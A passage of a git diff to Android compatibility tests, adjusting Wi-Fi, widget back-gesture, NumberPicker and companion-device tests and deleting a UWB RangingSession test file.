- .hasSystemFeature(PackageManager.FEATURE_COMPANION_DEVICE_SETUP));
+ PackageManager packageManager = context.getPackageManager();
+ assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_COMPANION_DEVICE_SETUP));
+ assumeTrue(packageManager.hasSystemFeature(
+ PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
assumeFalse("Skipping test: not supported on automotive", isAutomotive());
VirtualDeviceManager vdm = context.getSystemService(VirtualDeviceManager.class);
diff --git a/tests/tests/widget/res/layout/numberpicker_layout.xml b/tests/tests/widget/res/layout/numberpicker_layout.xml
index 7c6dfb40534..dd283244b92 100644
--- a/tests/tests/widget/res/layout/numberpicker_layout.xml
+++ b/tests/tests/widget/res/layout/numberpicker_layout.xml
@@ -19,7 +19,8 @@
xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/container"
android:layout_width="match_parent"
- android:layout_height="wrap_content"
+ android:layout_height="match_parent"
+ android:gravity="center"
android:orientation="vertical">
<NumberPicker
diff --git a/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java b/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
index dc56f57167e..e0c172ab7db 100644
--- a/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BackInvokedOnWidgetsTest.java
@@ -21,12 +21,17 @@ import static org.junit.Assert.assertTrue;
import android.app.Instrumentation;
import android.graphics.Color;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.support.test.uiautomator.UiDevice;
import android.view.Gravity;
+import android.view.InputEvent;
+import android.view.MotionEvent;
import android.view.ViewGroup;
import android.widget.FrameLayout;
import android.widget.PopupWindow;
+import androidx.annotation.NonNull;
import androidx.test.InstrumentationRegistry;
import androidx.test.ext.junit.rules.ActivityScenarioRule;
import androidx.test.filters.MediumTest;
@@ -36,12 +41,14 @@ import com.android.compatibility.common.util.GestureNavRule;
import org.junit.Before;
import org.junit.ClassRule;
-import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
+// @AppModeFull because GestureNavRule does not work for
+// instant mode tests (b/238975931)
@MediumTest
+@AppModeFull
@RunWith(AndroidJUnit4.class)
public class BackInvokedOnWidgetsTest {
@@ -58,11 +65,11 @@ public class BackInvokedOnWidgetsTest {
@Before
public void setUp() {
+ rule.assumeGestureNavigationMode();
mInstrumentation = InstrumentationRegistry.getInstrumentation();
mUiDevice = UiDevice.getInstance(mInstrumentation);
}
- @Ignore("b/229946481")
@Test
public void popupWindowDismissedOnBackGesture() {
PopupWindow[] popupWindow = new PopupWindow[1];
@@ -94,7 +101,45 @@ public class BackInvokedOnWidgetsTest {
private void doBackGesture() {
int midHeight = mUiDevice.getDisplayHeight() / 2;
int midWidth = mUiDevice.getDisplayWidth() / 2;
- mUiDevice.swipe(0, midHeight, midWidth, midHeight, 100);
+ quickSwipe(0, midHeight, midWidth, midHeight, 10);
mUiDevice.waitForIdle();
}
+
+ private void injectInputEventUnSynced(@NonNull InputEvent event) {
+ mInstrumentation.getUiAutomation().injectInputEvent(event, false /* sync */,
+ false /* waitForAnimations */);
+ }
+
+ /**
+ * Injecting a sequence of motion event to simulate swipe without waiting for sync transaction.
+ */
+ private void quickSwipe(float startX, float startY, float endX, float endY, int steps) {
+ if (steps <= 0) {
+ steps = 1;
+ }
+ final long startDownTime = SystemClock.uptimeMillis();
+ MotionEvent firstDown = MotionEvent.obtain(startDownTime, startDownTime,
+ MotionEvent.ACTION_DOWN, startX, startY, 0);
+ injectInputEventUnSynced(firstDown);
+
+ // inject in every 5 ms.
+ final int delayMillis = 5;
+ long nextEventTime = startDownTime + delayMillis;
+ final float stepGapX = (endX - startX) / steps;
+ final float stepGapY = (endY - startY) / steps;
+ for (int i = 0; i < steps; i++) {
+ SystemClock.sleep(delayMillis);
+ final float nextX = startX + stepGapX * i;
+ final float nextY = startY + stepGapY * i;
+ MotionEvent move = MotionEvent.obtain(startDownTime, nextEventTime,
+ MotionEvent.ACTION_MOVE, nextX, nextY, 0);
+ injectInputEventUnSynced(move);
+ nextEventTime += delayMillis;
+ }
+
+ SystemClock.sleep(delayMillis);
+ MotionEvent up = MotionEvent.obtain(startDownTime, nextEventTime,
+ MotionEvent.ACTION_UP, endX, endY, 0);
+ injectInputEventUnSynced(up);
+ }
}
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
index eecc071d0a3..6f085879f0a 100644
--- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -376,7 +376,7 @@ public class NumberPickerTest {
numberPickerMiddleX,
numberPickerStartY,
0,
- screenHeight - numberPickerStartY); // drag down to the bottom of the screen.
+ mNumberPicker.getHeight()); // drag down to the bottom of the screen.
Assert.assertTrue("Expected to get to IDLE state within 5 seconds",
latch.await(5, TimeUnit.SECONDS));
@@ -444,7 +444,7 @@ public class NumberPickerTest {
numberPickerMiddleX,
numberPickerEndY,
0,
- -(numberPickerEndY)); // drag up to the top of the screen.
+ -(mNumberPicker.getHeight())); // drag up to the top of the screen.
Assert.assertTrue("Expected to get to IDLE state within 5 seconds",
latch.await(5, TimeUnit.SECONDS));
} catch (Throwable t) {
diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 26b5b7f138f..d063b40af81 100644
--- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -629,7 +629,7 @@ public class SingleDeviceTest extends WifiJUnit3TestBase {
* then the attach/destroy will not correspond to enable/disable and will not result in a new
* MAC address being generated.
*/
- public void testAttachDiscoveryAddressChanges() {
+ public void testAttachDiscoveryAddressChanges() throws InterruptedException {
if (!TestUtils.shouldTestWifiAware(getContext())) {
return;
}
@@ -638,6 +638,7 @@ public class SingleDeviceTest extends WifiJUnit3TestBase {
Set<TestUtils.MacWrapper> macs = new HashSet<>();
for (int i = 0; i < numIterations; ++i) {
+ Thread.sleep(1000);
AttachCallbackTest attachCb = new AttachCallbackTest();
IdentityChangedListenerTest identityL = new IdentityChangedListenerTest();
mWifiAwareManager.attach(attachCb, identityL, mHandler);
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
index f7322dde5e1..c0e5624b000 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -50,6 +50,7 @@ import android.util.Log;
import androidx.test.filters.SdkSuppress;
import androidx.test.platform.app.InstrumentationRegistry;
+import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.android.compatibility.common.util.SystemUtil;
@@ -274,6 +275,29 @@ public class ConcurrencyTest extends WifiJUnit3TestBase {
new LinkedList<Integer>(Arrays.asList(waitSingleSync)));
}
+ private NetworkInfo.DetailedState waitForNextNetworkState() {
+ assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+ assertNotNull(mMySync.expectedNetworkInfo);
+ return mMySync.expectedNetworkInfo.getDetailedState();
+ }
+
+ private boolean waitForConnectedNetworkState() {
+ // The possible orders of network states are:
+ // * IDLE > CONNECTING > CONNECTED for lazy initialization
+ // * DISCONNECTED > CONNECTING > CONNECTED for previous group removal
+ // * CONNECTING > CONNECTED
+ NetworkInfo.DetailedState state = waitForNextNetworkState();
+ if (state == NetworkInfo.DetailedState.IDLE
+ || state == NetworkInfo.DetailedState.DISCONNECTED) {
+ state = waitForNextNetworkState();
+ }
+ if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)
+ && state == NetworkInfo.DetailedState.CONNECTING) {
+ state = waitForNextNetworkState();
+ }
+ return state == NetworkInfo.DetailedState.CONNECTED;
+ }
+
private boolean waitForServiceResponse(MyResponse waitResponse) {
synchronized (waitResponse) {
long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
@@ -508,21 +532,7 @@ public class ConcurrencyTest extends WifiJUnit3TestBase {
mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
-
- // The first network state might be IDLE due to
- // lazy initialization, but not CONNECTED.
- for (int i = 0; i < 2; i++) {
- assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
- assertNotNull(mMySync.expectedNetworkInfo);
- if (NetworkInfo.DetailedState.CONNECTED ==
- mMySync.expectedNetworkInfo.getDetailedState()) {
- break;
- }
- assertEquals(NetworkInfo.DetailedState.IDLE,
- mMySync.expectedNetworkInfo.getDetailedState());
- }
- assertEquals(NetworkInfo.DetailedState.CONNECTED,
- mMySync.expectedNetworkInfo.getDetailedState());
+ assertTrue(waitForConnectedNetworkState());
resetResponse(mMyResponse);
mWifiP2pManager.requestNetworkInfo(mWifiP2pChannel,
@@ -660,21 +670,7 @@ public class ConcurrencyTest extends WifiJUnit3TestBase {
mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
-
- // The first network state might be IDLE due to
- // lazy initialization, but not CONNECTED.
- for (int i = 0; i < 2; i++) {
- assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
- assertNotNull(mMySync.expectedNetworkInfo);
- if (NetworkInfo.DetailedState.CONNECTED ==
- mMySync.expectedNetworkInfo.getDetailedState()) {
- break;
- }
- assertEquals(NetworkInfo.DetailedState.IDLE,
- mMySync.expectedNetworkInfo.getDetailedState());
- }
- assertEquals(NetworkInfo.DetailedState.CONNECTED,
- mMySync.expectedNetworkInfo.getDetailedState());
+ assertTrue(waitForConnectedNetworkState());
resetResponse(mMyResponse);
mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
@@ -707,10 +703,7 @@ public class ConcurrencyTest extends WifiJUnit3TestBase {
mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
- assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
- assertNotNull(mMySync.expectedNetworkInfo);
- assertEquals(NetworkInfo.DetailedState.CONNECTED,
- mMySync.expectedNetworkInfo.getDetailedState());
+ assertTrue(waitForConnectedNetworkState());
resetResponse(mMyResponse);
mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
@@ -812,21 +805,7 @@ public class ConcurrencyTest extends WifiJUnit3TestBase {
mWifiP2pManager.createGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
-
- // The first network state might be IDLE due to
- // lazy initialization, but not CONNECTED.
- for (int i = 0; i < 2; i++) {
- assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
- assertNotNull(mMySync.expectedNetworkInfo);
- if (NetworkInfo.DetailedState.CONNECTED
- == mMySync.expectedNetworkInfo.getDetailedState()) {
- break;
- }
- assertEquals(NetworkInfo.DetailedState.IDLE,
- mMySync.expectedNetworkInfo.getDetailedState());
- }
- assertEquals(NetworkInfo.DetailedState.CONNECTED,
- mMySync.expectedNetworkInfo.getDetailedState());
+ assertTrue(waitForConnectedNetworkState());
resetResponse(mMyResponse);
MacAddress peerMacAddress = MacAddress.fromString(mTestWifiP2pPeerConfig.deviceAddress);
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java
index b61f11db59f..314d0975c73 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyMultiInternetWifiNetworkTest.java
@@ -151,6 +151,8 @@ public class MultiStaConcurrencyMultiInternetWifiNetworkTest extends WifiJUnit4T
() -> wifiManager.setScanThrottleEnabled(false));
// Enable Wifi
+ sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.isWifiEnabled());
ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.setWifiEnabled(true));
// Make sure wifi is enabled
PollingCheck.check("Wifi not enabled", DURATION_MILLIS, () -> wifiManager.isWifiEnabled());
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index a054aa55bf5..474d48840aa 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -2912,13 +2912,6 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
verifySetGetSoftApConfig(softApConfigBuilder.build());
}
- // Test 11 AX control config.
- if (callback.getCurrentSoftApCapability()
- .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) {
- softApConfigBuilder.setIeee80211axEnabled(true);
- verifySetGetSoftApConfig(softApConfigBuilder.build());
- }
-
// Test 11 BE control config
if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
if (callback.getCurrentSoftApCapability()
@@ -2929,6 +2922,12 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
}
if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S)) {
+ // Test 11 AX control config.
+ if (callback.getCurrentSoftApCapability()
+ .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) {
+ softApConfigBuilder.setIeee80211axEnabled(true);
+ verifySetGetSoftApConfig(softApConfigBuilder.build());
+ }
softApConfigBuilder.setBridgedModeOpportunisticShutdownEnabled(false);
verifySetGetSoftApConfig(softApConfigBuilder.build());
}
@@ -3912,6 +3911,14 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU)
public void testActiveCountryCodeChangedCallback() throws Exception {
+ if (!hasLocationFeature()) {
+ // skip the test if location is not supported
+ return;
+ }
+ if (!isLocationEnabled()) {
+ fail("Please enable location for this test - since country code is not available"
+ + " when location is disabled!");
+ }
TestActiveCountryCodeChangedCallback testCountryCodeChangedCallback =
new TestActiveCountryCodeChangedCallback();
TestExecutor executor = new TestExecutor();
@@ -5519,7 +5526,6 @@ public class WifiManagerTest extends WifiJUnit3TestBase {
waitForConnection();
wifiInfo = mWifiManager.getConnectionInfo();
assertEquals(networkId, wifiInfo.getNetworkId());
- assertEquals(connectedBssid, wifiInfo.getBSSID());
} finally {
// Reset BSSID allow list to accept all APs
for (WifiConfiguration network : savedNetworks) {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java
index c162f9ef064..d4b5ec1db65 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiSsidTest.java
@@ -57,13 +57,6 @@ public class WifiSsidTest extends WifiJUnit3TestBase {
WifiSsid wifiSsidNull = WifiSsid.fromBytes(null);
assertThat(wifiSsidNull).isNotNull();
assertThat(wifiSsidNull.getBytes()).isEmpty();
-
- try {
- WifiSsid.fromBytes(new byte[33]);
- fail("Expected IllegalArgumentException for byte array length greater than 32.");
- } catch (IllegalArgumentException e) {
- // Success
- }
}
/**
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index 2a3f67acb55..41cc640b30d 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -562,7 +562,7 @@ public class WifiRttTest extends TestBase {
*/
@Test
public void testAwareRttWithPeerHandle() throws InterruptedException {
- if (WifiFeature.isAwareSupported(getContext())) {
+ if (!WifiFeature.isAwareSupported(getContext())) {
return;
}
PeerHandle peerHandle = mock(PeerHandle.class);
@@ -605,7 +605,7 @@ public class WifiRttTest extends TestBase {
builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
RangingRequest request = builder.build();
- // Perform the rquest
+ // Perform the request
rangeNon11mcApRequest(request, testAp, MAX_NON11MC_VARIATION_FROM_AVERAGE_DISTANCE_MM);
}
@@ -639,7 +639,9 @@ public class WifiRttTest extends TestBase {
builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
RangingRequest request = builder.build();
- // Perform the rquest
+
+
+ // Perform the request
rangeNon11mcApRequest(request, testAp, MAX_NON11MC_VARIATION_FROM_AVERAGE_DISTANCE_MM);
}
@@ -747,15 +749,13 @@ public class WifiRttTest extends TestBase {
ResultType.NEUTRAL, ResultUnit.NONE);
reportLog.submit();
- // This bug below has been addressed by making the test parameters for Non-80211mc devices
- // less stringent. Please update the bug if this does not solve the problem.
- // TODO(b/192909380): enable the performance verification after device fix.
-
- // Analyze results
+ /** TODO(b/237011062): enable the performance verification new API to check capabilities
+ // Analyze results
assertTrue("Wi-Fi RTT failure rate exceeds threshold: FAIL=" + numFailures
+ ", ITERATIONS="
+ NUM_OF_RTT_ITERATIONS + ", AP=" + testAp,
numFailures <= NUM_OF_RTT_ITERATIONS * MAX_NON11MC_FAILURE_RATE_PERCENT / 100);
+ */
if (numFailures != NUM_OF_RTT_ITERATIONS) {
// Calculate an initial average using all measurements to determine distance outliers
diff --git a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java b/tests/uwb/src/android/uwb/cts/RangingSessionTest.java
deleted file mode 100644
index 6fcdc74fd0e..00000000000
--- a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java
+++ /dev/null
@@ -1,629 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.uwb.cts;
-
-import static android.uwb.RangingSession.Callback.REASON_BAD_PARAMETERS;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyInt;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.Mockito.doAnswer;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-
-import android.os.PersistableBundle;
-import android.os.RemoteException;
-import android.uwb.IUwbAdapter;
-import android.uwb.RangingReport;
-import android.uwb.RangingSession;
-import android.uwb.SessionHandle;
-import android.uwb.UwbAddress;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
-
-import java.util.concurrent.Executor;
-
-/**
- * Test of {@link RangingSession}.
- */
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class RangingSessionTest {
- private static final Executor EXECUTOR = UwbTestUtils.getExecutor();
- private static final PersistableBundle PARAMS = new PersistableBundle();
- private static final UwbAddress UWB_ADDRESS = UwbAddress.fromBytes(new byte[] {0x00, 0x56});
- private static final @RangingSession.Callback.Reason int REASON =
- RangingSession.Callback.REASON_GENERIC_ERROR;
-
- @Test
- public void testOnRangingOpened_OnOpenSuccessCalled() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- verifyOpenState(session, false);
-
- session.onRangingOpened();
- verifyOpenState(session, true);
-
- // Verify that the onOpenSuccess callback was invoked
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(0)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testOnRangingOpened_OnServiceDiscoveredConnectedCalled() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- verifyOpenState(session, false);
-
- session.onRangingOpened();
- verifyOpenState(session, true);
-
- // Verify that the onOpenSuccess callback was invoked
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(0)).onClosed(anyInt(), any());
-
- session.onServiceDiscovered(PARAMS);
- verify(callback, times(1)).onServiceDiscovered(eq(PARAMS));
-
- session.onServiceConnected(PARAMS);
- verify(callback, times(1)).onServiceConnected(eq(PARAMS));
- }
-
-
- @Test
- public void testOnRangingOpened_CannotOpenClosedSession() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-
- session.onRangingOpened();
- verifyOpenState(session, true);
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(0)).onClosed(anyInt(), any());
-
- session.onRangingClosed(REASON, PARAMS);
- verifyOpenState(session, false);
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(1)).onClosed(anyInt(), any());
-
- // Now invoke the ranging started callback and ensure the session remains closed
- session.onRangingOpened();
- verifyOpenState(session, false);
- verify(callback, times(1)).onOpened(eq(session));
- verify(callback, times(1)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testOnRangingClosed_OnClosedCalledWhenSessionNotOpen() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- verifyOpenState(session, false);
-
- session.onRangingClosed(REASON, PARAMS);
- verifyOpenState(session, false);
-
- // Verify that the onOpenSuccess callback was invoked
- verify(callback, times(0)).onOpened(eq(session));
- verify(callback, times(1)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testOnRangingClosed_OnClosedCalled() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- session.onRangingStarted(PARAMS);
- session.onRangingClosed(REASON, PARAMS);
- verify(callback, times(1)).onClosed(anyInt(), any());
-
- verifyOpenState(session, false);
- session.onRangingClosed(REASON, PARAMS);
- verify(callback, times(2)).onClosed(anyInt(), any());
- }
-
- @Test
- public void testOnRangingResult_OnReportReceivedCalled() {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- verifyOpenState(session, false);
-
- session.onRangingStarted(PARAMS);
- verifyOpenState(session, true);
-
- RangingReport report = UwbTestUtils.getRangingReports(1);
- session.onRangingResult(report);
- verify(callback, times(1)).onReportReceived(eq(report));
- }
-
- @Test
- public void testStart_CannotStartIfAlreadyStarted() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
- session.onRangingOpened();
-
- session.start(PARAMS);
- verify(callback, times(1)).onStarted(any());
-
- // Calling start again should throw an illegal state
- verifyThrowIllegalState(() -> session.start(PARAMS));
- verify(callback, times(1)).onStarted(any());
- }
-
- @Test
- public void testStop_CannotStopIfAlreadyStopped() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
- doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
- session.onRangingOpened();
- session.start(PARAMS);
-
- verifyNoThrowIllegalState(session::stop);
- verify(callback, times(1)).onStopped(anyInt(), any());
-
- // Calling stop again should throw an illegal state
- verifyThrowIllegalState(session::stop);
- verify(callback, times(1)).onStopped(anyInt(), any());
- }
-
- @Test
- public void testStop_CannotStopIfOpenFailed() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
- doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
- session.onRangingOpened();
- session.start(PARAMS);
-
- verifyNoThrowIllegalState(() -> session.onRangingOpenFailed(REASON_BAD_PARAMETERS, PARAMS));
- verify(callback, times(1)).onOpenFailed(
- REASON_BAD_PARAMETERS, PARAMS);
-
- // Calling stop again should throw an illegal state
- verifyThrowIllegalState(session::stop);
- verify(callback, times(0)).onStopped(anyInt(), any());
- }
-
- @Test
- public void testCallbacks_OnlyWhenOpened() throws RemoteException {
- SessionHandle handle = new SessionHandle(123);
- RangingSession.Callback callback = mock(RangingSession.Callback.class);
- IUwbAdapter adapter = mock(IUwbAdapter.class);
- RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
- doAnswer(new OpenAnswer(session)).when(adapter).openRanging(
- any(), any(), any(), any(), any());
- doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
- doAnswer(new ReconfigureAnswer(session)).when(adapter).reconfigureRanging(any(), any());
- doAnswer(new PauseAnswer(session)).when(adapter).pause(any(), any());
- doAnswer(new ResumeAnswer(session)).when(adapter).resume(any(), any());
- doAnswer(new ControleeAddAnswer(session)).when(adapter).addControlee(any(), any());
- doAnswer(new ControleeRemoveAnswer(session)).when(adapter).removeControlee(any(), any());
- doAnswer(new DataSendAnswer(session)).when(adapter).sendData(any(), any(), any(), any());
- doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
- doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
-
- verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(0)).onReconfigured(any());
- verifyOpenState(session, false);
-
- session.onRangingOpened();
- verifyOpenState(session, true);
- verify(callback, times(1)).onOpened(any());
- verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(1)).onReconfigured(any());
- verifyThrowIllegalState(() -> session.pause(PARAMS));
- verify(callback, times(0)).onPaused(any());
- verifyThrowIllegalState(() -> session.resume(PARAMS));
- verify(callback, times(0)).onResumed(any());
- verifyNoThrowIllegalState(() -> session.addControlee(PARAMS));
- verify(callback, times(1)).onControleeAdded(any());
- verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS));
- verify(callback, times(1)).onControleeRemoved(any());
- verifyThrowIllegalState(() -> session.sendData(
- UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(0)).onDataSent(any(), any());
-
- session.onRangingStartFailed(REASON_BAD_PARAMETERS, PARAMS);
- verifyOpenState(session, true);
- verify(callback, times(1)).onStartFailed(
- REASON_BAD_PARAMETERS, PARAMS);
-
- session.onRangingStarted(PARAMS);
- verifyOpenState(session, true);
- verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
- verify(callback, times(2)).onReconfigured(any());
- verifyNoThrowIllegalState(() -> session.reconfigure(null));
- verify(callback, times(1)).onReconfigureFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.pause(PARAMS));
- verify(callback, times(1)).onPaused(any());
- verifyNoThrowIllegalState(() -> session.pause(null));
- verify(callback, times(1)).onPauseFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.resume(PARAMS));
- verify(callback, times(1)).onResumed(any());
- verifyNoThrowIllegalState(() -> session.resume(null));
- verify(callback, times(1)).onResumeFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.addControlee(PARAMS));
- verify(callback, times(2)).onControleeAdded(any());
- verifyNoThrowIllegalState(() -> session.addControlee(null));
- verify(callback, times(1)).onControleeAddFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS));
- verify(callback, times(2)).onControleeRemoved(any());
- verifyNoThrowIllegalState(() -> session.removeControlee(null));
- verify(callback, times(1)).onControleeRemoveFailed(
- eq(REASON_BAD_PARAMETERS), any());
- verifyNoThrowIllegalState(() -> session.sendData(
- UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1}));
- verify(callback, times(1)).onDataSent(any(), any());
- verifyNoThrowIllegalState(() -> session.sendData(
- null, PARAMS, new byte[] {0x05, 0x1}));
